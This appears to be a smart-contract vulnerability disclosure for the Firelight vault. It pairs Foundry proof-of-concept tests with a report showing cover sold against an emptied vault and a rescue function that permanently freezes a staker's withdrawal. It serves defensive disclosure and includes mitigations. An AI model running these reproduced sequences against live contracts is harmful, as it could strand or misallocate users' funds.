 * @dev The fixture keeps `fixtures.js`'s 50,000-token deposit limit
↪ (5e10 at 6 decimals).
 *     That is small enough that most PoCs trip `DepositLimitExceeded`
↪ before reaching
 *     the behaviour under test - `_depositFunds` checks `totalAssets()
↪ + assets > depositLimit`.
 *     Raise it through the real `DEPOSIT_LIMIT_UPDATE_ROLE` rather
↪ than editing the fixture,
 *     so the deployment stays identical to the Hardhat suite.
 *
 *     1e15 == 1 billion tokens: ample headroom, and small enough that
 *     `convertToShares(depositLimit)` inside `maxMint` cannot overflow
↪ `mulDiv`.
 */
function raiseDepositLimit() internal {
    raiseDepositLimit(1_000_000_000e6);
}

function raiseDepositLimit(uint256 newLimit) internal {
    vm.prank(limitUpdater);
    vault.updateDepositLimit(newLimit);
}

/// @dev fixtures.js::fundAndApprove
function fundAndApprove(address buyer, MockERC20 t, uint256 amount)
↪ internal {
    t.mint(buyer, amount);
    vm.prank(buyer);
    t.approve(address(allocator), amount);
}

/// @dev fixtures.js::advanceToPeriod (mock vault only)
function advanceToPeriod(uint256 p) internal {
    mockVault.setCurrentPeriod(p);
}

/// @dev Advance the REAL vault by whole periods.
function warpPeriods(uint256 n) internal {
    vm.warp(block.timestamp + n * PERIOD_DURATION);
}

```

```

/**
 * @dev Timestamp at which `period` begins, for the real vault.
 *
 * NOTE the type. `PeriodConfiguration` is declared TWICE in this
↪ codebase -
 * `FirelightVaultStorage.sol:51` and `IFirelightVault.sol:33` - and
↪ they are distinct
 * nominal types. `FirelightVault` inherits FirelightVaultStorage and
↪ does NOT implement
 * IFirelightVault, so this getter returns the STORAGE struct. Using the
↪ interface struct
 * here fails with "not implicitly convertible".
 *
 * Conversely `MockCoverOrderAllocatorVault` is IFirelightVault, so its
 * `setPeriodConfiguration` takes the INTERFACE struct. Both spellings
↪ are correct in
 * their own place; do not unify them.
 *
 * For the current period prefer `vault.currentPeriodStart()`, which
↪ needs no struct.
 */
function periodStart(uint256 period) internal view returns (uint48) {
    FirelightVault.PeriodConfiguration memory c =
↪ vault.periodConfigurationAtNumber(period);
    return uint48(c.epoch + (period - c.startingPeriod) * c.duration);
}

/// @dev fixtures.js::computeMarketId
function computeMarketId(uint64 chainId, string memory protocol, bytes32
↪ market) internal pure returns (bytes32) {
    return keccak256(abi.encode(chainId, protocol, market));
}

/// @dev fixtures.js::computeProtocolConcentrationHash
function computeProtocolConcentrationHash(uint64 chainId, string memory
↪ protocol) internal pure returns (bytes32) {
    return keccak256(abi.encode(chainId, protocol));
}

/**
 * @dev Leaf encoding used by `_settleCoverOrder`: OZ StandardMerkleTree
↪ double-hashing.

```

```

    *      For a SINGLE-order tree the root IS the leaf and the proof is
↪ empty, which is all
    *      most PoCs need. Multi-order trees need a real tree builder.
    */
function settleLeaf(uint256 orderId,
↪ ICoverOrderAllocator.MarketCoverAllocation[] memory allocs)
    internal
    pure
    returns (bytes32)
{
    return keccak256(bytes.concat(keccak256(abi.encode(orderId,
↪ allocs))));
}

/// @dev Two-leaf tree, sorted-pair hashing (OZ MerkleProof convention).
function merkleRoot2(bytes32 a, bytes32 b) internal pure returns
↪ (bytes32) {
    return a < b ? keccak256(abi.encode(a, b)) : keccak256(abi.encode(b,
↪ a));
}

/// @dev Funded EOA, replacing the JS `randomSigner()`.
function _signer(string memory label) internal returns (address a) {
    a = makeAddr(label);
    vm.deal(a, 1000 ether);
}

/// @dev Single-market allocation array, the shape most PoCs want.
function oneMarket(bytes32 marketId, uint256 amount)
    internal
    pure
    returns (ICoverOrderAllocator.MarketCoverAllocation[] memory arr)
{
    arr = new ICoverOrderAllocator.MarketCoverAllocation[](1);
    arr[0] = ICoverOrderAllocator.MarketCoverAllocation({marketId:
↪ marketId, allocatedCover: amount});
}

function oneMarketInput(bytes32 marketId, uint32 rateAnnual, uint256
↪ amount)
    internal
    pure
    returns (ICoverOrderAllocator.MarketAllocationInput[] memory arr)

```

```

    {
        arr = new ICoverOrderAllocator.MarketAllocationInput[](1);
        arr[0] = ICoverOrderAllocator.MarketAllocationInput({
            marketId: marketId, coverRateAnnual: rateAnnual, coverAmount:
↪ amount
            });
    }
}

```

test/Foundry/mocks/MockFAsset.sol

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

/// Replica of contracts/fasset/fassetToken/implementation/FAsset.sol, which
↪ is pragma
/// 0.8.23 and skipped in foundry.toml. The transfer fee defaults to zero,
↪ so this behaves
/// as a plain ERC20 throughout this PoC.
contract MockFAsset is ERC20 {
    uint8 private immutable _decimals;
    uint256 public transferFeeMillionths;
    address public feeCollector = address(0xFEE);

    constructor(string memory n, string memory s, uint8 d) ERC20(n, s) {
↪ _decimals = d; }

    function decimals() public view override returns (uint8) { return
↪ _decimals; }
    function setTransferFeeMillionths(uint256 v) external {
↪ transferFeeMillionths = v; }
    function mintTo(address to, uint256 amount) external { _mint(to,
↪ amount); }
    function mint(address to, uint256 amount) external { _mint(to,
↪ amount); }

    function _transferFeeAmount(uint256 amount) public view returns
↪ (uint256) {
        if (transferFeeMillionths == 0) return 0;
        return Math.mulDiv(amount, transferFeeMillionths, 1_000_000,
↪ Math.Rounding.Ceil);
    }
}

```

```

    }

    function transfer(address to, uint256 amount) public override returns
    ↪ (bool) {
        uint256 fee = _transferFeeAmount(amount);
        _transfer(_msgSender(), to, amount - fee);
        if (fee > 0) _transfer(_msgSender(), feeCollector, fee);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public
    ↪ override returns (bool) {
        _spendAllowance(from, _msgSender(), amount);
        uint256 fee = _transferFeeAmount(amount);
        _transfer(from, to, amount - fee);
        if (fee > 0) _transfer(from, feeCollector, fee);
        return true;
    }
}

```

test/Foundry/UnderwritingAfterLoss.t.sol:

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Base} from "./Base.t.sol";
import {console2} from "forge-std/Test.sol";
import {ICoverOrderAllocator} from
    ↪ "contracts/core/interfaces/ICoverOrderAllocator.sol";

contract UnderwritingAfterLoss is Base {
    uint256 constant STAKE = 1_000_000e6; // 1,000,000 FXRP of staked
    ↪ collateral (6 dp)
    uint256 constant COVER = 100_000e18; // $100,000 of cover, canonical 18
    ↪ dp

    function setUp() public {
        deployVault();
        deployFullStack(); // allocator pointed at the REAL vault
        raiseDepositLimit();
    }
}

```

```

    // cover is sold, paid for and receipted against a vault that holds
    ↪ nothing.
    function testCoverIsSoldAndPaidForAgainstAVaultHoldingNothing() public {
        // period P-1: stakers post collateral, a cover order is authored
        mintAndApprove(STAKE, users[0]);
        vm.prank(users[0]);
        vault.deposit(STAKE, users[0]);

        vm.prank(curator);
        uint256 orderId = allocator.createCoverOrder(
            buyer1,
            beneficiary,
            "xrp-beneficiary",
            address(usdc),
            oneMarketInput(marketIdA, 500, COVER), // 5.00% annual
            ICoverOrderAllocator.CoverOrderType.NEW
        );

        // period P opens; the snapshot records the full collateral
        warpPeriods(1);
        uint48 periodStartTs = vault.currentPeriodStart();
        uint256 period      = vault.currentPeriod();

        // One hour in. `upperLookupRecent` is inclusive of its key, so a
    ↪ payout in the
        // period's FIRST block writes its checkpoint exactly at
    ↪ `periodStartTs` and IS
        // seen - Control 2 below proves that. Every later payout is
    ↪ invisible, which is
        // every real one given the 48h/24h/72h claims pipeline.
        vm.warp(block.timestamp + 1 hours);
        refreshPriceFeed();

        uint256 capacity =
    ↪ expectedCapacity(vault.totalAssetsAt(periodStartTs));
        console2.log("collateral at period start :",
    ↪ vault.totalAssetsAt(periodStartTs));
        console2.log("sellable capacity          :", capacity);

        // a prior-period incident is approved mid-period and drains the
    ↪ vault Legal: the payout window is capturePeriod or capturePeriod + 1.
        vm.prank(payoutSigner);
        vault.payout(payoutReceiver, STAKE, periodStartTs);

```

```

    assertEq(vault.totalAssets(), 0, "vault has been emptied");
    assertEq(
        vault.totalAssetsAt(periodStartTs), STAKE,
        "the period-start snapshot is untouched by the payout"
    );

    // the allocator commits against the stale snapshot
    ICoverOrderAllocator.MarketCoverAllocation[] memory allocs =
↪ oneMarket(marketIdA, COVER);
    bytes32 root = settleLeaf(orderId, allocs);

    vm.prank(allocatorRole);
    allocator.commitAllocation(period, root, COVER, capacity);

    ICoverOrderAllocator.AllocationCommitment memory c =
        allocator.getAllocationCommitment(period);
    assertEq(c.totalAvailableCapacity, capacity, "capacity unchanged by
↪ a total payout");

    // and the cover is SOLD: premium taken, receipt minted
    uint256 premium =
↪ allocator.getCoverOrder(orderId).totalPremiumAmount;
    fundAndApprove(buyer1, usdc, 1_000_000e6);

    uint256 collectorBefore = usdc.balanceOf(premiumCollector);
    vm.prank(allocatorRole);
    allocator.settleCoverOrder(orderId, allocs, new bytes32[] (0));
    uint256 collected = usdc.balanceOf(premiumCollector) -
↪ collectorBefore;

    ICoverOrderAllocator.CoverOrder memory o =
↪ allocator.getCoverOrder(orderId);

    console2.log("--- at the moment the cover was sold ---");
    console2.log("vault totalAssets()      :", vault.totalAssets());
    console2.log("cover written (canonical) :", o.allocatedCoverAmount);
    console2.log("premium charged (canonical):", premium);
    console2.log("premium collected (USDC)   :", collected);
    console2.log("CoverNFT owner           :",
↪ coverNFT.ownerOf(orderId));

    assertEq(

```

```

        uint8(o.status),
↪ uint8(ICoverOrderAllocator.CoverOrderStatus.MATCHED),
        "the order settled"
    );
    assertEq(o.allocatedCoverAmount, COVER, "full cover written");
    assertGt(collected, 0, "the buyer paid a full-period premium");
    assertEq(coverNFT.ownerOf(orderId), buyer1, "cover receipt issued to
↪ the buyer");

    // The obligation exists, money changed hands, and there is nothing
↪ behind it.
    assertEq(vault.totalAssets(), 0, "backing collateral at the moment
↪ of sale: zero");
}

// The mechanism in isolation - no order, no settlement, just the stale
↪ capacity number surviving a total payout.
function
↪ testStaleSnapshotLetsCapacitySurviveAPayoutThatEmptiesTheVault() public
↪ {
    mintAndApprove(STAKE, users[0]);
    vm.prank(users[0]);
    vault.deposit(STAKE, users[0]);

    warpPeriods(1);
    uint48 periodStartTs = vault.currentPeriodStart();
    uint256 period      = vault.currentPeriod();

    vm.warp(block.timestamp + 1 hours);
    refreshPriceFeed();

    uint256 capacityBefore =
↪ expectedCapacity(vault.totalAssetsAt(periodStartTs));

    vm.prank(payoutSigner);
    vault.payout(payoutReceiver, STAKE, periodStartTs);
    assertEq(vault.totalAssets(), 0, "vault is empty");
    assertEq(
        vault.totalAssetsAt(periodStartTs), STAKE,
        "snapshot still reports pre-payout collateral"
    );
}

```

```

        vm.prank(allocatorRole);
        allocator.commitAllocation(period, keccak256("root"),
↪ capacityBefore, capacityBefore);

        ICoverOrderAllocator.AllocationCommitment memory c =
            allocator.getAllocationCommitment(period);
        console2.log("vault totalAssets()    :", vault.totalAssets());
        console2.log("committed capacity    :", c.totalAvailableCapacity);
        console2.log("declared allocation   :", c.totalDeclaredAllocated);

        assertEq(c.totalAvailableCapacity, capacityBefore, "capacity
↪ unchanged by a total payout");
        assertGt(
            c.totalDeclaredAllocated, 0,
            "cover committed against collateral that no longer exists"
        );
    }

    // Control 1 - the bound itself works. Once the snapshot reflects
    // reality the same commit is correctly rejected, which isolates the
    // defect to the input rather than to the check.
    function testControlCapacityIsEnforcedWhenTheSnapshotIsCurrent() public
↪ {
        mintAndApprove(STAKE, users[0]);
        vm.prank(users[0]);
        vault.deposit(STAKE, users[0]);

        warpPeriods(1);
        uint48 periodStartTs = vault.currentPeriodStart();
        uint256 capacityBefore =
↪ expectedCapacity(vault.totalAssetsAt(periodStartTs));

        vm.warp(block.timestamp + 1 hours);
        vm.prank(payoutSigner);
        vault.payout(payoutReceiver, STAKE, periodStartTs);

        warpPeriods(1);
        refreshPriceFeed();
        uint48 freshStart = vault.currentPeriodStart();
        uint256 freshPeriod = vault.currentPeriod();
        assertEq(vault.totalAssetsAt(freshStart), 0, "snapshot has caught
↪ up");

```

```

        vm.prank(allocatorRole);
        vm.expectRevert(
            abi.encodeWithSelector(
                ICoverOrderAllocator.MatchingCapacityOverflow.selector,
↪ capacityBefore, 0
            )
        );
        allocator.commitAllocation(freshPeriod, keccak256("root"),
↪ capacityBefore, capacityBefore);
    }

    // Control 2 - the boundary claim, proved rather than asserted. A
    // payout landing in the period's FIRST block writes its checkpoint
    // at exactly periodStartTs, the inclusive lookup sees it, and the
    // same commit is correctly rejected. The defect is confined to
    // payouts strictly after a period's opening block.
    function testControlPayoutInThePeriodsFirstBlockIsVisibleToCapacity()
↪ public {
        mintAndApprove(STAKE, users[0]);
        vm.prank(users[0]);
        vault.deposit(STAKE, users[0]);

        warpPeriods(1);
        uint48 periodStartTs = vault.currentPeriodStart();
        uint256 period      = vault.currentPeriod();
        vm.warp(periodStartTs); // sit exactly on the boundary

        uint256 capacityBefore =
↪ expectedCapacity(vault.totalAssetsAt(periodStartTs));
        assertGt(capacityBefore, 0, "collateral is visible before the
↪ payout");

        vm.prank(payoutSigner);
        vault.payout(payoutReceiver, STAKE, periodStartTs);

        assertEq(
            vault.totalAssetsAt(periodStartTs), 0,
            "a FIRST-BLOCK payout IS visible to the period-start lookup"
        );

        refreshPriceFeed();
        vm.prank(allocatorRole);

```

```

        vm.expectRevert(
            abi.encodeWithSelector(
                ICoverOrderAllocator.MatchingCapacityOverflow.selector,
↪ capacityBefore, 0
            )
        );
        allocator.commitAllocation(period, keccak256("root"),
↪ capacityBefore, capacityBefore);
    }
}

```

Output

```
$ forge test --match-contract UnderwritingAfterLoss -vv
```

```
Ran 4 tests for test/Foundry/UnderwritingAfterLoss.t.sol:UnderwritingAfterLoss
[PASS] testControlCapacityIsEnforcedWhenTheSnapshotIsCurrent() (gas: 598321)
[PASS] testControlPayoutInThePeriodsFirstBlockIsVisibleToCapacity() (gas: 594216)
[PASS] testCoverIsSoldAndPaidForAgainstAVaultHoldingNothing() (gas: 1439362)
```

Logs:

```
collateral at period start : 1000000000000
sellable capacity          : 200000000000000000000000000000
--- at the moment the cover was sold ---
vault totalAssets()        : 0
cover written (canonical)  : 100000000000000000000000000000
premium charged (canonical): 95890410958904109590
premium collected (USDC)   : 95890411
CoverNFT owner             : 0x29805Ff5b946e7A7c5871c1Fb071f740f767Cf41
```

```
[PASS] testStaleSnapshotLetsCapacitySurviveAPayoutThatEmptiesTheVault() (gas: 698)
```

Logs:

```
vault totalAssets()      : 0  
committed capacity      : 2000000000000000000000000000  
declared allocation     : 2000000000000000000000000000
```

Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 7.28ms (4.19ms CPU time)

The four runs bracket the defect from both sides:

Run	What it establishes
The finding	The vault holds 0 ; \$100,000 of cover settles, premium is collected, the receipt is minted.
Mechanism	The same stale snapshot lets \$2,000,000 of capacity be committed against a zero vault - no order needed.
Control 1	Once the snapshot is current, the identical commit reverts <code>MatchingCapacityOverflow</code> . The bound works; only its input is wrong.
Control 2	A payout on the period's first block is seen, and the commit is correctly rejected. The defect is precisely "payouts strictly after the opening block."

Control 1 forecloses "the capacity check is simply misconfigured" - it is not, and it functions correctly the moment it is given live data. Control 2 forecloses "the lookup is fine, you tested it wrong" - the inclusive-lookup boundary is reproduced and shown behaving correctly, which is the only configuration in which this defect does *not* appear.

[C-1] FirelightVault::rescueWithdrawFromBlocklisted() **permanently poisons a still-open withdrawal bucket, freezing a staker's funds with no recovery path**

Severity selected: Critical - *Permanent freezing of funds* **Asset:** `contracts/core/FirelightVault.sol`
Requires an attacker: No. Every actor in the sequence performs its documented function correctly.

Summary

`rescueWithdrawFromBlocklisted` uses `isWithdrawClaimed[period][from] = true` (`FirelightVault.sol:870`) as a bookkeeping marker meaning "these shares were moved away." But that mapping is not a marker - it is the hard claim gate in `claimWithdraw (:794)`, it is never reset anywhere in the contract, and `periods[i]` is **unbounded**, so the still-open bucket `currentPeriod() + 1` can be flagged.

A staker rescued out of the open bucket, then un-blocklisted after a false-positive compliance flag, who makes a fresh withdrawal request in the same period lands back in that poisoned bucket. Their shares are burned, their assets are moved into `pendingWithdrawAssets`, and `claimWithdraw` rejects them permanently.

The result is worse than a loss to a counterparty: the funds become **unreachable by anybody**. In the PoC the vault ends holding **600,000 FXRP** while reporting `totalAssets() == 0` and `totalSupply() == 0`. The tokens are present, owned by no one, and claimable by no one.

The protocol documents the opposite guarantee:

*“Authorized roles can rescue assets from blocklisted accounts and reassign them to a non-blocklisted address, **preserving the position** without violating compliance constraints.”* - Firelight docs, *Deployments and Withdrawals*

Scope: this is not a privileged-actor report

The program excludes reports that require “a privileged role holder to act within the permissions explicitly granted to that role... **unless the report demonstrates that the role can exceed its intended permissions or bypass an intended protocol constraint.**” The project restated the test in its competition Q&A:

*“If a trusted role operates strictly within its designated functions, that is expected behavior and not a vulnerability. However, **a bug may be valid if the role can bypass its documented boundaries or violate a system invariant** without needing to gain additional roles.”*

This report satisfies that exception on its own terms, and I want to be precise about why:

Nobody acts maliciously or incorrectly. `BLOCKLIST_ROLE` flags an account, `RESCUER_ROLE` moves the pending withdrawal, `BLOCKLIST_ROLE` un-flags on review. Every call is the intended use of the function. There is no adversary in this report - the roles are the mechanism, not the attacker - and the victim is an ordinary staker whose only action is a second withdrawal request.

The documented invariant is violated. The protocol states that the rescue path reassigns a blocklisted account’s assets “**preserving the position** without violating compliance constraints.” The PoC shows the position is not preserved: it is destroyed. That is the invariant violation the exception is written for.

No additional roles are needed. The permanent write at `FirelightVault.sol:870` lands inside the rescue’s ordinary execution. The rescuer cannot avoid it, cannot detect it, and no role in the system can undo it.

The defect is that correct, intended use of a compliance function permanently destroys a user’s position and contradicts the protocol’s own stated guarantee. A guard that malfunctions when used properly is a code defect, not a privilege question.

Vulnerability details

The flag is a claim gate, not a marker

`isWithdrawClaimed` appears in exactly five places in the entire contract:

Line	Use
794	<code>claimWithdraw</code> - the hard gate : <code>if (isWithdrawClaimed[period][sender]) revert AlreadyClaimedPeriod(period);</code>
806	<code>claimWithdraw</code> - set after a genuine claim
864	<code>rescueWithdrawFromBlocklisted</code> - guard on from
865	<code>rescueWithdrawFromBlocklisted</code> - guard on to
870	<code>rescueWithdrawFromBlocklisted</code> - set as a “moved away” marker

There is **no reset**. `removeFromBlocklist` does not touch it. No admin function does. Line 870 writes a one-way, permanent value into the mapping that line 794 uses to decide whether a user may ever be paid.

`periods[i]` is unbounded

```
for (uint256 i = 0; i < len; i++) {
    uint256 _withdrawOf = withdrawSharesOf[periods[i]][from];

    if (isWithdrawClaimed[periods[i]][from]) revert
    ↪ AlreadyClaimedPeriod(periods[i]);
    if (isWithdrawClaimed[periods[i]][to]) revert
    ↪ AlreadyClaimedPeriod(periods[i]);
    if (_withdrawOf == 0) revert NoWithdrawalAmount(periods[i]);

    withdrawSharesOf[periods[i]][to] += _withdrawOf;
```

```

        withdrawSharesOf[periods[i]][from] = 0;
        isWithdrawClaimed[periods[i]][from] = true;    // <-- permanent, on an
↪ arbitrary period
        ...
    }

```

Nothing constrains `periods[i]` to a settled bucket. Since `_requestWithdraw` always credits `currentPeriod() + 1`, and a rescue must target a bucket that actually holds a balance (`_withdrawOf == 0` reverts), the natural target for an in-flight rescue **is** the open bucket. Flagging it is not an edge case - it is the ordinary path.

The flag is also unnecessary

Zeroing `withdrawSharesOf[periods[i]][from]` on line 869 already prevents a later claim: `claimWithdraw` computes assets from that mapping and reverts `NoWithdrawalAmount(period)` when it is zero. Line 870 protects nothing. It exists only to poison the slot.

Attack path

No attacker. Each step is a legitimate action by the party authorised to take it.

1. **Period P.** Alice deposits 1,000,000 FXRP and later requests withdrawal of 400,000. The credit lands in the open bucket `P+1`.
2. **Period P.** Compliance flags Alice. `BLOCKLIST_ROLE` calls `addToBlocklist(alice)`. (*Legitimate.*)
3. **Period P.** `RESCUER_ROLE` calls `rescueWithdrawFromBlocklisted(alice, treasury, [P+1])`. Alice's credit moves to the treasury and `isWithdrawClaimed[P+1][alice]` is set to `true`. (*Legitimate - this is precisely what the function is for.*)
4. **Period P.** The flag was a false positive. `BLOCKLIST_ROLE` calls `removeFromBlocklist(alice)`. (*Legitimate.*)
5. **Period P.** Alice withdraws the remainder of her position - 600,000 FXRP. Her request is credited to bucket `P+1` again, and her shares are burned.
6. **Period P+2.** The treasury claims its rescued 400,000 successfully. Alice's `claimWithdraw(P+1)` reverts `AlreadyClaimedPeriod(P+1)`, and will revert forever.

Timing. Steps 3–5 must fall inside one period for the second request to land in the flagged bucket. Under today’s **1-day** periods that is a same-day cycle; at the **30-day** periods the docs commit to for the feature-complete launch it is a month-wide window - and a compliance false positive resolved within a month is entirely ordinary. The PoC runs on the project’s own `DEFAULT_CONFIG` duration of one week rather than the deployed one day: the requirement is only that the three steps share a period, so the defect is duration-independent and scales with whatever `periodConfigurationDuration` is configured.

Impact

Permanent freezing of funds. Alice loses 600,000 FXRP - 60% of her stake - with no recovery path in the contract. Her shares are burned, so she holds no ERC-4626 claim, and her bucket credit is permanently unclaimable.

Critically, the funds are not merely transferred to the wrong party. The final state from the PoC:

Quantity	Value
<code>token.balanceOf(vault)</code>	600,000,000,000 (600,000 FXRP)
<code>pendingWithdrawAssets()</code>	600,000,000,000
<code>totalAssets()</code>	0
<code>totalSupply()</code>	0

Because `totalAssets()` is `super.totalAssets() - pendingWithdrawAssets`, the stranded amount is excluded from the vault’s own accounting. Alice cannot claim it (the flag). No other staker can reach it (there are no shares and no other credits). It is orphaned inside the contract.

A second, lesser consequence of the same line: once to claims a period, `isWithdraw-Claimed[period][to]` is true, and line 865 makes that address permanently unusable as a rescue destination for that period.

Severity: permanence

`isWithdrawClaimed` has no reset anywhere in the contract, and a second rescue of the same account cannot clear it - line 864 reverts `AlreadyClaimedPeriod` on from. There is no recovery path in the deployed code.

One pre-emption, stated plainly: `FirelightVault` sits behind a transparent proxy, so in principle an upgrade could add a reset. I do not think that reduces the severity. The funds are unrecoverable by every function the contract exposes; recovery would require authoring, auditing and shipping new logic through governance, with the affected balance stranded meanwhile. If triage nonetheless treats an upgrade as a recovery path, the impact is *Temporary freezing of funds for at least 24 hours* (High) rather than Critical - but it is one of the two, not less.

I have also considered and rejected *Griefing*: griefing implies a deliberate actor accepting a cost to damage someone. Nobody chooses this outcome and nobody gains from it - the funds are destroyed, not captured.

Prior coverage

Macro A-1's TMAAR describes the rescue power (*"can blocklist any account and move its shares and pending withdrawals to an address of choice... a targeted confiscation power"*) but does not identify this defect. It appears in none of the three Known Issues, none of the design notes on the program's scope page, and none of the 46 disclosed reports from the November 2025 competition. The single rescue-adjacent item there was Insight **#59288** - *"Repeated Array Access in rescueWithdrawFromBlocklisted Loop Causes Unnecessary Gas Consumption."* Someone read this exact loop and saw only the array indexing.

Recommended mitigation

Option A - remove the redundant flag (preferred, one line). Delete line 870:

```
        withdrawSharesOf[periods[i]][to] += _withdrawOf;
        withdrawSharesOf[periods[i]][from] = 0;
-       isWithdrawClaimed[periods[i]][from] = true;
```

Zeroing the credit on the preceding line already causes any later `claimWithdraw` by from to revert `NowithdrawalAmount`, so the flag protects nothing. Removing it restores the documented

behaviour: a rescued staker who is later un-blocklisted can withdraw normally. The guards on lines 864–865 should remain - they correctly prevent rescuing a bucket that was genuinely claimed.

Option B - bound the rescue to settled buckets. If the flag is retained for auditability, constrain the target so an open bucket can never be poisoned:

```
if (periods[i] >= currentPeriod()) revert InvalidPeriod();
```

This mirrors the constraint `claimWithdraw` already applies at line 791 and makes the two functions consistent about which buckets are final.

References

- `contracts/core/FirelightVault.sol:845–876` - `rescueWithdrawFromBlocklisted`
- `contracts/core/FirelightVault.sol:870` - the permanent flag write (root cause)
- `contracts/core/FirelightVault.sol:869` - the credit zeroing that already prevents a claim
- `contracts/core/FirelightVault.sol:788–810` - `claimWithdraw`; gate at :794
- `contracts/core/FirelightVault.sol:428` - `totalAssets()` excludes `pendingWithdrawAssets`
- `contracts/core/FirelightVault.sol:169` - error `AlreadyClaimedPeriod(uint256 period)`
- Firelight docs, *Deployments and Withdrawals* - “preserving the position”

Proof of Concept

Foundry. Uses the shared `Base.t.sol` fixture, a Solidity port of the project’s own `test/setup/fixtures.js`. This PoC calls only `deployVault()`; the allocator half of the fixture is unused here and included solely so the file matches the one used across my other submissions.

test/Foundry/Base.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
```

```

import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from
    ↪ "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {FirelightVault} from "contracts/core/FirelightVault.sol";
import {CoverOrderAllocator} from "contracts/core/CoverOrderAllocator.sol";
import {CoverNFT} from "contracts/core/CoverNFT.sol";
import {VaultRewardDistributor} from
    ↪ "contracts/core/VaultRewardDistributor.sol";
import {ICoverOrderAllocator} from
    ↪ "contracts/core/interfaces/ICoverOrderAllocator.sol";
import {IFirelightVault} from
    ↪ "contracts/core/interfaces/IFirelightVault.sol";
import {IAggregatorV3} from "contracts/core/interfaces/IAggregatorV3.sol";

import {MockFAsset} from "../mocks/MockFAsset.sol";
import {MockERC20} from "contracts/test/MockERC20.sol";
import {MockAggregatorV3} from "contracts/test/MockAggregatorV3.sol";
import {MockCoverOrderAllocatorVault} from
    ↪ "contracts/test/MockCoverOrderAllocatorVault.sol";

/**
 * @title Base
 * @notice Solidity port of test/setup/fixtures.js - `deployVault` and
 *         `deployCoverOrderAllocator` - so the Hardhat suite and the
    ↪ Foundry suite
 *         exercise identical deployments.
 *
 * Two deliberate deviations from the JS, both noted where they matter:
 *
 * 1. Proxies are ERC1967Proxy rather than the Transparent proxies
    ↪ `upgrades.deployProxy`
 *     creates. Storage layout and delegatecall semantics are identical, and
    ↪ it removes the
 *     ProxyAdmin indirection that would otherwise make every `vm.prank`
    ↪ two-hop.
 *
 * 2. The underlying is `MockFAsset`, not the real `deployFAsset` helper -
    ↪ contracts/fasset
 *     is pragma 0.8.23 and skipped in foundry.toml. MockFAsset reproduces
 *     `FAsset.transferFrom` line for line, including the round-UP fee, and
    ↪ defaults to a

```

```

*      zero fee so it behaves exactly like a plain ERC20 until a test opts in.
*/
abstract contract Base is Test {
    // --- config (mirrors DEFAULT_CONFIG) ---
    uint8 internal constant DECIMALS = 6;
    string internal constant UNDERLYING = "fXRP";
    string internal constant LST = "stfXRP";
    uint256 internal constant INITIAL_DEPOSIT_LIMIT = 50_000_000_000; // 50k
    ↪ tokens
    uint48 internal constant PERIOD_DURATION = 604800; // 1 week

    // --- constants (mirrors the JS constants block) ---
    uint256 internal constant BPS = 10_000;
    uint256 internal constant LEV = 10_000;
    uint256 internal constant SECS_PER_YEAR = 365 days;
    string internal constant PROTOCOL_MORPHO = "Morpho";
    string internal constant PROTOCOL_AAVE = "Aave";
    bytes32 internal constant MARKET_A = bytes32("market-A");
    bytes32 internal constant MARKET_B = bytes32("market-B");

    // --- vault fixture ---
    MockFAsset internal token;
    FirelightVault internal vault;
    address internal deployer;
    address internal rescuer;
    address internal blocklister;
    address internal pauser;
    address internal limitUpdater;
    address internal periodConfigurationUpdater;
    address internal payoutSigner;
    address internal payoutAllowlister;
    address internal payoutReceiver;
    address internal incidentRole;
    address internal checkpointer;
    address[3] internal users;
    VaultRewardDistributor internal distributor;
    address internal distributorEOA;

    // --- allocator fixture ---
    CoverOrderAllocator internal allocator;
    CoverNFT internal coverNFT;
    MockCoverOrderAllocatorVault internal mockVault;
    MockAggregatorV3 internal priceFeed;

```

```

MockERC20 internal usdc;
MockERC20 internal usdt;
address internal admin;
address internal curator;
address internal allocatorRole;
address internal configAdmin;
address internal adminRole;
address internal premiumCollector;
address internal firstLossBufferWallet;
address internal buyer1;
address internal buyer2;
address internal beneficiary;
bytes32 internal marketIdA;
bytes32 internal marketIdB;
bytes32 internal concHashMorpho;
bytes32 internal concHashAave;

// =====
// deployVault (port of fixtures.js::deployVault)
// =====
function deployVault() internal {
    // periodConfigurationAtTimestamp() rejects a zero epoch, and
↪ Foundry starts at
    // block.timestamp == 1. Warp to a realistic clock before deploying.
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    deployer = _signer("deployer");
    rescuer = _signer("rescuer");
    blocklister = _signer("blocklister");
    pauser = _signer("pauser");
    limitUpdater = _signer("limitUpdater");
    periodConfigurationUpdater = _signer("periodConfigurationUpdater");
    users[0] = _signer("user1");
    users[1] = _signer("user2");
    users[2] = _signer("user3");

    token = new MockFAsset(UNDERLYING, UNDERLYING, DECIMALS);

    FirelightVault.InitParams memory p = FirelightVault.InitParams({
        defaultAdmin: deployer,
        limitUpdater: limitUpdater,
        blocklister: blocklister,
        pauser: pauser,

```

```

        periodConfigurationUpdater: periodConfigurationUpdater,
        rescuer: rescuer,
        depositLimit: INITIAL_DEPOSIT_LIMIT,
        periodConfigurationDuration: PERIOD_DURATION
    });

    FirelightVault impl = new FirelightVault();
    ERC1967Proxy proxy = new ERC1967Proxy(
        address(impl), abi.encodeCall(FirelightVault.initialize,
↪ (IERC20(address(token)), LST, LST, abi.encode(p)))
    );
    vault = FirelightVault(address(proxy));

    // Payout wiring (mirrors the JS block after deployProxy)
    payoutSigner = _signer("payoutSigner");
    payoutAllowlist = _signer("payoutAllowlist");
    payoutReceiver = _signer("payoutReceiver");
    incidentRole = _signer("incident");
    checkpointer = _signer("checkpointer");

    vm.startPrank(deployer);
    vault.grantRole(vault.PAYOUT_ROLE(), payoutSigner);
    vault.grantRole(vault.PAYOUT_ALLOWLIST_ROLE(), payoutAllowlist);
    vault.grantRole(vault.INCIDENT_ROLE(), incidentRole);
    vault.grantRole(vault.CHECKPOINT_ROLE(), checkpointer);
    vm.stopPrank();

    vm.prank(payoutAllowlist);
    vault.addToPayoutAllowlist(payoutReceiver);
}

// =====
// deployCoverOrderAllocator (port of
